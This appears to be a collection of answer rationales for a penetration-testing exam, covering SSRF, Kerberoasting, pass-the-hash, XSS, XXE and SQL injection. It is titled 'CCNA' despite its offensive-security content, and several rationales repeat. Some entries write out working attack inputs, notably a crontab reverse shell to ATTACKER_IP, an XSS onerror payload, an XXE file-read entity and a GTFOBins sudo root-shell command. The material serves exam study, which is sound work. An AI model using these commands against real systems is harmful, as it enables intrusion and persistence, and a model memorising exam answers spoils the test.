CCNA Attacks and Exploits Questions

169.254.169.254 is the link-local address used by AWS, Azure and GCP instance metadata services. Reaching it via an unvalidated URL-fetch parameter demonstrates server-side request forgery, letting the tester retrieve IAM credentials and instance configuration from the cloud metadata endpoint.

Enumerating sequential IDs in URLs means iterating through predictable object identifiers, such as invoice numbers or user IDs, to see if the application grants unauthorized access to resources that belong to other users. This is a core IDOR testing technique because it directly targets the lack of proper authorization on direct object references. By successfully retrieving other users' records with only a changed integer, the tester proves the access-control flaw.

pth-winexe is purpose-built for pass-the-hash: it takes an NTLM hash and uses it to authenticate over SMB via the MSRPC services interface, then creates a service to execute arbitrary commands. It modifies the SMB authentication flow to compute the NTLM response using the supplied hash directly, bypassing the need for a plaintext password. This makes it ideal for lateral movement, whereas the other tools either lack SMB-based hash authentication or serve a different phase of an attack.

Algorithm confusion (alg:none) is correct because it exploits a JWT library's failure to enforce that the algorithm specified in the token's header matches a secure, expected algorithm. By setting "alg" to "none", the attacker removes the signature entirely and submits a token with only the header and payload; vulnerable servers will trust the token as if it were signed. This attack is particularly successful when the server does not explicitly block the "none" algorithm or fails to validate the token's integrity when no signature is present.

PrintSpoofer is a local privilege escalation tool that exploits SeImpersonatePrivilege by creating a malicious named pipe and tricking the Print Spooler service into connecting to it, forcing a SYSTEM token to be impersonated. Unlike JuicyPotato, it relies on the printer spooler rather than COM objects, and it works on modern Windows versions (Windows 10/Server 2016+) where older Potato variants are mitigated. This makes it a direct, reliable method to escalate from an impersonating service account to SYSTEM.

Creating a cron job that executes a reverse shell is a valid Linux persistence technique. An attacker can add an entry such as `*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'` to the user's crontab or /etc/crontab, causing a reverse shell to be re-established every five minutes if it is killed. Using `@reboot` instead ensures the cron job runs once at system startup, providing persistence across reboots. This is a reliable, operational method that only requires write access to the appropriate crontab file.

Kerberoasting is the correct technique because it targets service accounts by requesting TGS tickets for SPNs. The TGS ticket includes an encrypted segment that is encrypted with the service account's NTLM hash, allowing an attacker to extract these tickets and crack them offline using dictionary or brute-force attacks to recover the plaintext password. This directly aligns with the scenario of capturing a Kerberos ticket for offline cracking.

PrintSpoofer is the correct choice because it directly abuses SeImpersonatePrivilege by creating a named pipe and then coercing a SYSTEM-level process, typically the print spooler, to connect to it. Once the connection occurs, the tool impersonates the SYSTEM token from the named pipe connection, allowing the attacker to spawn a new process as SYSTEM. This is a textbook token impersonation attack, not a kernel exploit, making it the precise tool for the described privilege escalation attempt.

Responder is a purpose-built tool for LLMNR, NBT-NS, and mDNS poisoning. It listens for broadcast name resolution requests and answers them, causing clients to send their NTLMv1/v2 authentication challenges to the attacker's machine. By doing so, it directly captures the NTLM hashes from the challenge-response handshake, making it the correct tool for this task.

PrintSpoofer is a well-known privilege escalation tool on Windows that exploits the SeImpersonatePrivilege typically held by service accounts. It leverages the Print Spooler's named pipe to trick a high-privileged process (SYSTEM) into connecting to a malicious pipe server, allowing the attacker to impersonate the SYSTEM token. This technique directly abuses token impersonation, making it the correct answer for a compromised user account with such privileges.

WMIExec authenticates over DCOM/RPC using valid domain credentials, executing commands remotely via Win32_Process without needing SMB write access or a service install. Against a domain controller, this satisfies the stem's credential-based lateral movement constraint, since the compromised low-privileged user's valid credentials drive the remote execution.

Responder is a dedicated network-based attack tool that spoofs name resolution by sending malicious responses to LLMNR, NBT-NS, and mDNS queries. When a host tries to resolve a non-existent name, Responder answers and forces the client to authenticate to it, capturing NTLMv1/v2 challenge-response hashes in the process. These hashes are then offline-crackable or can be forwarded to ntlmrelayx for relay attacks, making Responder the standard tool for this initial hash-capture poisoning phase.

Chisel is a high-performance tunneling tool that creates encrypted channels over HTTP/HTTPS, allowing an attacker to pivot into internal networks. It supports both TCP port forwarding and SOCKS5 proxy mode, enabling dynamic routing of traffic from tools like Nmap or proxychains through the compromised host. Its design specifically addresses the need for stealthy and flexible post-exploitation access, making it the appropriate choice for establishing a proxy-based pivot.

Reflected XSS is correct because the injected script is included in a request (commonly a URL parameter) and the server immediately echoes it back in the response without proper sanitization, causing the browser to execute it. The attacker can craft a malicious link containing the payload and trick the victim into clicking it; when the victim's browser sends the request, the reflected payload executes in the victim's session. This matches the scenario where the tester exploits the web application and sees the payload reflected directly in the response, making a crafted link the natural delivery vector.

Responder is the correct tool because it actively listens for LLMNR, NBT-NS, and mDNS name-resolution queries broadcast by Windows hosts when DNS lookups fail. By replying with a spoofed response that claims to be the requested host, Responder forces the victim to initiate an SMB authentication handshake to the attacker, sending an NTLMv2 hash in the process. This hash can then be cracked offline with hashcat or relayed with ntlmrelayx, and the attack works without any prior credentials or access to the target system.

Mode 1000 is exactly the Hashcat identifier for NTLM hashes, the raw MD4 digest of a UTF-16LE encoded password. Because NTLM hashes are unsalted, cracking them with mode 1000 allows direct dictionary, rule-based, and brute-force attacks at very high speeds on GPUs. This mode correctly parses the 32-character hexadecimal NTLM hash and compares candidate passwords using the same MD4 algorithm that Windows uses internally.

UNION-based SQL injection directly concatenates the attacker's injected SELECT statement to the original query using the UNION operator, so the modified result set is rendered in the HTTP response. The tester determines the exact number of columns and then selects the wanted columns from arbitrary tables (e.g., usernames and passwords) which appear as rows in the page. Because the data is returned in-band, this is the fastest and simplest method, and it also aids in retrieving system metadata like the DBMS version for further attacks.

The correct answer combines attack mode 3 with NTLM hash mode 1000. Hashcat's attack mode 3 is a pure brute-force or mask attack, and the mask ?l?l?l?l?l?l?l?l systematically generates every 8-character string consisting of lowercase letters a through z. Any NTLM hash whose password matches that pattern will be recovered because the entire keyspace of 26^8 is exhaustively searched.

-r specifies a rule file for rule-based attack, enabling mutation of dictionary words such as appending digits or substituting characters to efficiently crack many hashes. In hashcat, -r loads a file containing rule functions like l (lowercase), u (uppercase), $ (append), s (substitute), applied to each word from a wordlist, generating candidate passwords without storing them all. For a large NTLM hash set, rule-based attacks greatly expand coverage while keeping disk usage minimal, so -r is the correct flag.

In an NTLM relay attack, the tester uses tools like Impacket's ntlmrelayx to capture an NTLMv2 challenge/response and immediately forward it to a target service, making the remote server believe the authentication came from the legitimate user. The attacker never needs the password or to crack the hash; the relayed exchange is accepted as valid proof of identity, enabling unauthorized access to services like SMB, HTTP, or LDAP.

pth-winexe is part of the Samba suite and is a utility specifically designed to execute commands on a remote Windows system using an NTLM hash in place of a password. It embeds the hash into the authentication handshake (e.g., SMB/Netlogon remote procedure call) to authenticate without needing the plaintext password. This makes it a direct implementation of the Pass-the-Hash technique for interactive command execution.

PATH manipulation is the correct privilege escalation vector in this scenario because cron jobs often run with a minimal PATH such as /usr/bin:/bin. If a scheduled task invokes a command without an absolute path (e.g., 'tar' instead of '/usr/bin/tar'), an attacker who can place a malicious executable named 'tar' in any directory that appears earlier in the resolved search order—for instance, a world-writable directory like /tmp—can hijack execution. The cron daemon then executes the attacker's binary with the target user's privileges, enabling arbitrary command execution and potential root compromise if the job runs as root.

Blind time-based SQL injection infers information by injecting a query that forces the database to sleep for a set interval only when a certain condition is true, then measuring the response time. For example, in MySQL an attacker can append 'AND SLEEP(5)' to make the query pause 5 seconds if the condition holds, allowing them to extract data character by character. This technique directly matches the description of injecting a query that leverages a temporal delay to infer database contents, so it is the correct answer.

XXE uses external entities to read files.

CrackMapExec is a post-exploitation tool that natively supports SMB share enumeration and remote command execution. It authenticates over SMB and can list shares, access files, and run arbitrary commands via named pipes or WMI. This makes it the correct choice for a tester who needs to enumerate SMB shares and execute commands in an Active Directory environment.

evil-winrm is the correct choice because it natively supports pass-the-hash authentication against the WinRM service. Using the --hash flag, an attacker can authenticate with an NTLM hash (LM:NT) directly, circumventing the need for a cleartext password. This tool also provides an interactive PowerShell shell, making it a standard lateral-movement utility for post-exploitation on Windows servers.

SSRF (Server-Side Request Forgery) occurs when a web application makes HTTP requests to a destination chosen by an attacker without properly validating the URL or host. The attacker can pivot the server into requesting internal-only endpoints, such as cloud instance metadata (e.g., http://169.254.169.254/latest/meta-data/) or internal admin panels. Because the request originates from the server itself, firewalls and network segmentation may be bypassed, making SSRF a direct and high-impact match for the scenario where the tester targets server-side request behavior.

SSRF (Server-Side Request Forgery) occurs when an attacker controls the URL that the server fetches, enabling requests to internal IPs, localhost, or cloud metadata services. The described web application that fetches URLs is a textbook SSRF vector: it lets the server make arbitrary outbound HTTP requests, bypassing network perimeters. This can expose internal services, credentials, or sensitive data, making SSRF the correct classification.

Responder listens for Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) queries that fail to resolve via DNS. It responds with its own IP address, tricking clients into sending authentication challenges (NTLMv1/v2 hashes) to the attacker, which can then be cracked offline or used in further attacks. This is the specific name-resolution poisoning technique that the responder tool is designed for, making it the correct choice.

This is the core action in Kerberoasting: the attacker must be able to send a TGS-REQ for a target SPN and receive the corresponding TGS-REP ticket. The returned service ticket is encrypted with a key derived from the service account's password hash, so possessing that ticket enables offline brute-force or dictionary attacks to recover the plaintext password.

ntlmrelayx is the core Impacket tool built specifically for NTLM relay: it listens for SMB, HTTP, HTTPS, and other authentication attempts, then relays that challenge-response handshake to a chosen target such as SMB, LDAP, MSSQL, or other protocols. It can automatically perform SMB-signing and EPA checks, dump secrets, create users, or execute commands as the impersonated user, and it optionally integrates with Responder for coerced authentication. This is why it is the dedicated answer for relaying rather than just capturing.

Responder is the correct tool because it actively listens for LLMNR, NBT-NS, and mDNS name-resolution requests on the network and replies with spoofed responses that redirect the victim to the attacker's machine. When the target attempts to authenticate (e.g., to a fake SMB share), their system sends an NTLMv2 challenge-response hash, which Responder captures for offline cracking or relay attacks.

XML External Entity (XXE) injection occurs when an XML parser processes external entities defined in a DTD (Document Type Definition), allowing attackers to read local files, perform internal port scans, or cause denial of service. The 'e' in the stem strongly suggests 'external entity,' and the classic symptom is sensitive data disclosure, such as /etc/passwd or configuration files. This vulnerability arises when developers leave DTD processing and external entity resolution enabled in XML libraries, making XXE the correct finding.

Hashcat mode 13100 is specifically designed for Kerberos 5 TGS-REP hashes in $krb5tgs$ format, typically extracted from memory (e.g., Impacket, Rubeus) or saved as .kirbi and converted. This is the correct mode because Kerberoasting yields a service ticket whose encrypted portion is encrypted with RC4-HMAC (etype 23) using the service account's NT hash.

Time-based blind injection embeds conditional delays, such as database sleep functions, into the query. The tester infers each bit of data from whether the response is delayed, extracting content even when no output or error is returned, satisfying the requirement despite absent in-band feedback.

The tester found that the application reflects the input back in the HTTP response but filters out script tags. By injecting an event handler such as onerror within an HTML tag (e.g., <img src=x onerror=alert(1)>), the payload executes without needing a script element, thus bypassing the filter. This is a classic reflected XSS vector because the malicious script is included in the request and immediately rendered in the response, relying on the victim's interaction with a crafted link.

169.254.169.254 is a link-local address within the 169.254.0.0/16 range, reserved by RFC 3927, and is the well-known metadata service endpoint used by major cloud providers (AWS, GCP, Azure). It is reachable only from inside the instance itself and does not require routing; an SSRF vulnerability can be leveraged to send authenticated requests to this IP to retrieve instance metadata such as IAM temporary credentials, user-data scripts, or security group configurations. This is why it is a prime target during penetration tests against web applications with server-side request forgery flaws.

IDOR occurs when an application exposes internal object identifiers and fails to verify that the requester is authorised for the referenced object. Changing user_id=123 to another value returns another user's data, confirming missing authorisation checks on direct object references.

GTFOBins is a curated database of Unix binaries that can be exploited to bypass local security restrictions, such as misconfigured sudo permissions, SUID bits, or Linux capabilities. When you have a low-privilege shell, you enumerate what commands you can run with sudo (via sudo -l) and then search GTFOBins for those binaries to find tested one-liners that spawn a root shell, read sensitive files, or perform other privileged actions. It is the authoritative reference for this scenario because it provides exact command sequences that leverage trusted system binaries.

SSRF is the correct answer because the web application is being manipulated into making server-side HTTP requests to a URL controlled by the attacker. In cloud environments, the metadata endpoint (e.g., http://169.254.169.254/latest/meta-data/) is reachable only from the host, so a successful SSRF lets the attacker read instance credentials or security tokens. This directly matches the scenario of the server fetching an internal resource, unlike the other options.

Hashcat mode 1000 is the designated mode for cracking NT/NTLM hashes, the MD4-based hash of the UTF-16LE password used by Windows for authentication. When an attacker captures NTLM hashes (e.g., from the SAM database or NTDS.dit), mode 1000 is required because the hash format is not a generic MD5 or another algorithm; it's a specific Windows-specific format. This mode directly processes the raw 32-character hexadecimal NTLM hash and is the correct choice for this scenario.

A root-owned cron job executing a script stored in a world-writable directory is a classic privilege escalation path. Because the tester can overwrite the script's contents, the next scheduled execution runs the modified code with root privileges. Replacing the script body with a command that spawns a root shell directly leverages the misconfiguration found during enumeration.

Reflected XSS occurs when a user-controlled parameter is embedded into the HTTP response without proper encoding or sanitization, and the browser executes the injected script as part of the page. The script is triggered only when the victim clicks a crafted link, making the attack non-persistent. Since the parameter is directly reflected in the response and the server is echoing the input, this matches the classic signature of reflected XSS.

Registering a look-alike domain and luring employees to a counterfeit login page to capture credentials is the defining pattern of a phishing simulation focused on credential harvesting. The objective is to measure human susceptibility and the effectiveness of awareness controls, which matches the approved scenario of tricking staff into revealing their login details.

Mode 1000 is the correct Hashcat mode for cracking NTLM hashes, which are the legacy Windows authentication digests stored in SAM and NTDS.dit. Each NTLM hash is specifically a single MD4 hash of the user's password in UTF-16LE encoding, a design that makes these hashes extremely fast to brute-force.

This payload defines an external entity named 'xxe' that points to the link-local cloud metadata service at 169.254.169.254. When the vulnerable XML parser resolves the entity, it performs a server-side request to that URL, allowing the tester to access instance metadata like IAM credentials. This is both an XXE and an SSRF, specifically aimed at cloud environments.

Responder is the de facto tool for poisoning LLMNR, NBT-NS, and mDNS queries by answering them with the attacker's IP address, thereby causing clients to send SMB authentication attempts containing NTLMv2 hashes. It operates in the background, listens to broadcast name resolution requests, and tricks unsuspecting hosts into sending their credential material. Once captured, the hashes can be cracked offline with hashcat or relayed via ntlmrelayx, making Responder the correct initial-phase tool for this goal.

The useradd command creates a new user. The -m flag ensures a home directory is created, and -s /bin/bash sets the login shell to bash. This matches the requirement to create a user with a home directory and bash shell. After running this, the tester would set a password with passwd support. This is the standard and correct way to add a user on most Linux distributions.

Chisel tunnels TCP over HTTP/WebSocket, creating a SOCKS proxy through the foothold host. This satisfies the requirement to reach the internal segment that is not directly accessible, and works where only HTTP egress is permitted.

Reflected XSS occurs when user-supplied input is immediately echoed back in the server's response without proper sanitization or encoding. The attacker crafts a malicious URL containing script payload and lures the victim into clicking it; when the page loads, the script runs in the victim's session. This allows the attacker to steal session cookies via document.cookie and send them off-site, facilitating session hijacking. Because the payload is not persisted on the server, delivery depends on the victim accessing the crafted link.

Hashcat mode 1000 targets raw NTLM hashes, matching the captured pass-the-hash material exactly. Unlike mode 5500, which expects NetNTLMv1 challenge-response pairs, mode 1000 parses the bare 16-byte NT hash directly, so the tester avoids format errors and cracks the captured credentials efficiently.

Kerberoasting correctly involves requesting service ticket (TGS) hashes for Service Principal Names (SPNs), then transferring them to an offline workstation. Because the TGS is encrypted with the target service account's NTLM hash, an attacker can run hashcat or John the Ripper against it to recover the plaintext password, especially if the password is weak or reused. The offline cracking step is what makes the attack low-risk and highly successful.

CrackMapExec accepts an NTLM hash via its -H flag and passes it directly during SMB or WinRM authentication, so no plaintext password is needed. This exploits NTLM's design, where the hash itself is the credential, enabling lateral movement across Windows hosts.

Registry Run keys are a classic Windows persistence mechanism where an attacker adds a value to a run key such as HKCU\Software\Microsoft\Windows\CurrentVersion\Run or HKLM\Software\Microsoft\Windows\CurrentVersion\Run. Any executable referenced by these keys launches automatically when the designated user logs on, requiring minimal privileges for the HKCU variant and no need for a service or scheduled trigger. This is a straightforward, widely used persistence method that directly survives a reboot and re-authentication of the compromised user account.

find / -perm /4000 recursively traverses the entire filesystem and matches files whose mode contains the SUID bit, expressed by the octal value 4000. The leading slash in -perm /4000 tells find to match when any of the specified permission bits are set, which is exactly the SUID bit (the normal execute bits don't need to be checked). This finds every SUID binary, including non-root-owned ones, making it the standard way to enumerate SUID files for privilege escalation.

An unquoted service path occurs when the ImagePath registry value for a service contains spaces but is not enclosed in quotes. When Windows starts the service, it attempts to locate the executable by splitting the path at each space and trying the resulting filenames, moving from left to right. If an attacker has write access to a directory earlier in that sequence, they can drop a malicious executable (e.g., C:\Program.exe or C:\Program Files\Vendor.exe) that Windows will execute with the service's SYSTEM privileges. This is the correct exploitation method because it directly abuses the service's own path configuration to achieve code execution as SYSTEM.

A JWT alg:none attack works by changing the token's `alg` header field to `none`, signaling that the token is unsecured. Vulnerable JWT libraries that accept this value will skip signature verification entirely, allowing an attacker to forge tokens with arbitrary claims, such as elevating privileges, without knowing the secret key. This directly exploits the server's failure to enforce strict algorithm allowlists.

pth-winexe is part of the pass-the-hash toolkit that implements the Windows SMB client and authentication stack, allowing you to authenticate to a remote Windows host using only the NTLM hash as the credential. It substitutes the password in the NTLM/SPNEGO exchange with the hash, establishes an authenticated session, and executes a specified command without ever knowing the plaintext password. This directly demonstrates pass-the-hash: the hash itself serves as the proof of knowledge to impersonate the user.

Appending an attacker-controlled public key to ~/.ssh/authorized_keys on the compromised Linux host enables passwordless SSH authentication for that user at any time. This grants persistent remote access that survives reboots and does not rely on additional commands running at intervals. It is a stealthy and reliable persistence method, especially on servers where SSH is exposed.

GTFOBins is a curated repository of Unix binary exploitation techniques, specifically cataloging ways to abuse binaries for privilege escalation. For a Linux system, if a penetration tester discovers via 'sudo -l' that a binary can be executed with sudo privileges, GTFOBins provides exact command sequences to leverage that binary to spawn a root shell or read protected files. It is the go-to, command-focused resource for sudo misconfigurations and setuid abuse, making it directly applicable to the scenario.

Hashcat mode 1000 is the correct choice for NTLM hashes, which are the standard credential material extracted from Windows SAM files, NTDS.dit, or memory dumps. These hashes are computed by first converting the password to UTF-16LE and then applying the MD4 hash algorithm, a process unique to Windows authentication. Mode 1000 tells Hashcat to treat each hash as a 32-character hexadecimal NTLM digest, enabling efficient dictionary, rule-based, or brute-force attacks specifically tailored to this format, including pass-the-hash and offline cracking scenarios.

Chisel is a single-binary client/server tunnel program that can establish an outbound reverse tunnel from a compromised Linux host to the attacker's C2 server, then expose a SOCKS5 proxy on the attacking machine at the remote end. For example, the attacker runs `chisel server --reverse --socks5` and the compromised host runs `chisel client <attacker-ip>:8080 R:socks`. Because the client makes the initial outbound connection, this evades most inbound firewall rules, and the resulting SOCKS5 proxy allows any attacker tool to route scans and traffic into the target's internal network through the compromised host.

This is the correct function: multi/handler acts as a listener that waits for a reverse TCP connection from a target that has already executed a Meterpreter or other reverse payload. In a typical attack workflow, the tester starts this handler on their machine, then delivers a payload to the target via phishing, exploit, or direct execution; once the target runs the payload, it connects back to the handler's listening port. The handler then provides an interactive session (e.g., Meterpreter) for post-exploitation. It is a generic catch-all for reverse shells and is indispensable when using staged payloads, where the initial stager connects back to fetch the full payload.

An XML parser allows an attacker to define an external entity, such as `<!ENTITY xxe SYSTEM "file:///etc/passwd">`. When the application processes the XML and includes the entity in a response or error message, the server reads the local file and returns its contents, disclosing credentials, configuration, or other sensitive data. This requires the parser to resolve external general entities without secure settings, a common misconfiguration in web applications.

CrackMapExec is a post-exploitation and lateral movement tool that natively supports pass-the-hash by accepting NTLM hashes via the -H or --hash parameter. It actively authenticates to SMB, WinRM, and other services using the supplied hash, enabling command execution, credential dumping, and domain enumeration across multiple hosts. This makes it a direct and effective utility for conducting pass-the-hash attacks in a penetration test.

Unquoted service path exploitation occurs when a Windows service binary's path contains spaces but is not enclosed in quotes. When Windows resolves the path, it checks each space-separated segment in turn, so an attacker with write access to an early directory (e.g., C:\Program.exe or C:\Program Files\Sub.exe) can plant a malicious executable that the service will launch with its own high-integrity privileges, typically SYSTEM. This yields arbitrary code execution without needing credentials or exploiting a kernel bug.

Appending the attacker's public key to ~/.ssh/authorized_keys enables passwordless key-based authentication for the targeted user account. This grants persistent SSH access without needing to re-establish a foothold through a vulnerability, and it remains effective across reboots and user sessions. The private key stays with the attacker, allowing them to authenticate at any time as long as the SSH service is exposed and the user account remains valid.

Hashcat's -m 5600 specifically targets NetNTLMv2 hashes, the exact challenge-response format captured via LLMNR/NBNS poisoning tools like Responder. The -a 0 flag designates a straight dictionary attack, allowing you to feed a wordlist of candidate passwords. This is the correct and complete command for cracking the captured NTLMv2 hash, as it selects both the right hash type and the appropriate attack mode.

Blind SQL injection is correct because the tester is exploiting the vulnerability without seeing actual query results or database errors in the application response. Instead, they infer database behavior by observing differences in application responses — either boolean outcomes (e.g., ' AND 1=1 vs ' AND 1=2 causing different page content) or time delays (e.g., SLEEP or WAITFOR DELAY). These indirect signals allow the tester to extract data piece by piece, which aligns with the scenario of exploiting a SQL injection in a low-information environment.

JWT algorithm confusion (alg:none) occurs when a server accepts a JWT whose header declares the "alg" parameter as "none" (or "None"/"NONE"), which instructs the verifier that the token has no digital signature. An attacker can modify the token's payload, set alg to none, and remove the signature entirely; if the library does not explicitly reject none, the token is trusted as if it were properly signed. This directly bypasses signature verification without the attacker knowing any secret key.

For an NTLM relay attack against SMB to work, the target server must not require SMB signing, meaning signing is disabled or set to 'Not Enforced.' Without mandatory signing, the server accepts SMB packets without verifying their integrity, allowing an attacker to forward a captured NTLM authentication exchange to establish a session. This is why the correct condition is that SMB signing must be disabled or not enforced, as enforced signing blocks the relay entirely.

GTFOBins is the authoritative, community-maintained list of Unix binaries that can be abused to bypass local security restrictions, with a dedicated 'sudo' section. It provides exact commands—such as `sudo find . -exec /bin/sh \;`—for each binary that can be used to escalate privileges when that binary is listed in the sudoers file. Cross-referencing the output of `sudo -l` against GTFOBins is the standard technique for detecting sudo misconfigurations during a Linux privilege escalation assessment.

Hashcat mode 1000 is the exact and documented mode for NTLM hashes, which are generated by computing MD4 of the password's UTF-16LE representation. When a penetration tester extracts NTLM hashes from a Windows target—via Samdump, Mimikatz, or an NTDS.dit dump—this is the mode to use for offline password cracking. Specifying -m 1000 correctly tells hashcat to apply the NTLM algorithm, enabling effective dictionary, rule-based, or mask attacks.

Kerberoasting involves requesting TGS tickets for service accounts via SPN, then extracting the tickets and cracking them offline with Hashcat or John the Ripper. The TGS is encrypted with the service account's NTLM hash, and because many service accounts have weak or human-memorizable passwords, the encrypted blob can be brute-forced or dictionary-attacked offline. Successful cracking yields the service account's plaintext password, enabling further compromise.

Blind time-based SQL injection confirms the vulnerability without visible output: the tester injects conditional delays (for example WAITFOR DELAY or SLEEP) and infers true/false from response timing, satisfying the stem's requirement to confirm and extract data when the application returns no query results or error messages.